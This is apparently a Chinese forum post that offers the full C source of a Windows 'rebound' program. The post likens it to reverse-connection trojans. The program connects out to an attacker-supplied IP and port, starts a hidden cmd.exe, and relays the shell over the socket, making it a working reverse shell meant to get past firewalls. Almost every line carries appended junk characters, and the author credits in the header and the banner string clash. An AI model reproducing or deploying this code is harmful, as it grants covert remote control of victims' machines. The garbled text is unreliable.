这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n&P~<2^M#
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/* ============================== *w _ o8!3-
Rebound port in Windows NT <&) hg:
By wind,2006/7 '1b)(IW
===============================*/ et)n`NlcK
#include :n{{\SSIgX
#include p o)lN[v
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#pragma comment(lib,"wsock32.lib") c;X,-Q9
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void OutputShell(); 4XER7c
SOCKET sClient; 'V:MppQVZ.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5m0lk|`
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void main(int argc,char **argv) .0xk},
{ U*Y]cohh
WSADATA stWsaData; PpG;5
int nRet; ^Ld5<
SOCKADDR_IN stSaiClient,stSaiServer; GfK%UZ$C
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if(argc != 3) :X'B K4EN
{ VPT?z
printf("Useage:\n\rRebound DestIP DestPort\n"); 985h]KQ
return; fUWrR1
} yBs-bp"-
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WSAStartup(MAKEWORD(2,2),&stWsaData); JHm Pa
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 59j`Z^e
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stSaiClient.sin_family = AF_INET; yeta)@nH
stSaiClient.sin_port = htons(0); K*DH_\SPK
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3$YbEl@#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I|&DXF
{ +3zQ"lLD^
printf("Bind Socket Failed!\n"); Myg;2 .
return; |?^qsnB
} S
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stSaiServer.sin_family = AF_INET; H#YI7l2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &53,8r
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9RJ#zUK
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '9.@r\g
{ k -R"e
printf("Connect Error!"); =e# h;x2
return;
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} PbvA~gm
OutputShell();
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} R8lja%+0$
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void OutputShell() ]5a3e+
{ 7z3tDE[#
char szBuff[1024]; x(Ew Hg>;
SECURITY_ATTRIBUTES stSecurityAttributes; =d"5kDK-m
OSVERSIONINFO stOsversionInfo; <Bn0wr8)\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2Uf/'
STARTUPINFO stStartupInfo; -U$;\1--
char *szShell; I`IW^eZM
PROCESS_INFORMATION stProcessInformation; zq$L[X
unsigned long lBytesRead; =?y0fLTc
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); > fV"bj.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5-fASN.Lx
stSecurityAttributes.lpSecurityDescriptor = 0; -"'+#9{h
stSecurityAttributes.bInheritHandle = TRUE; .UX4p
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Z VdQ$
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B<.\^fuS
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zz:%KUl3
stStartupInfo.wShowWindow = SW_HIDE; =#Jx~d [C
stStartupInfo.hStdInput = hReadPipe; xuqG)HthRS
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?ZC!E0]
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GetVersionEx(&stOsversionInfo); l\N2C4NG
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switch(stOsversionInfo.dwPlatformId) s 8K.A~5 w
{ :,qvqh][
case 1: U8>4Cl J4
szShell = "command.com"; g#6R(
break; (#85<|z
default: TT3GGHR
szShell = "cmd.exe"; F_w+8)DZ
break; gWj r|m<
} tD#)
mb3aUFxA;
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b$nev[`{6
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send(sClient,szMsg,77,0); d+]= l+&
while(1) m&q0 _nay
{ hD?6RVfG
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);
}#&[[}@th
if(lBytesRead) x7gd6"10^
{ A{)pzV25
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6pC1C.
send(sClient,szBuff,lBytesRead,0); %c]N-
} L|s\IM1g
else s7:_!Nd@8
{ U%BtBPL
lBytesRead=recv(sClient,szBuff,1024,0); <0~1
if(lBytesRead<=0) break; ;[P>
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6'uCwAQU
} x)$0Nr62D
} /f oI.S
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return; \C>vj+!cJ
}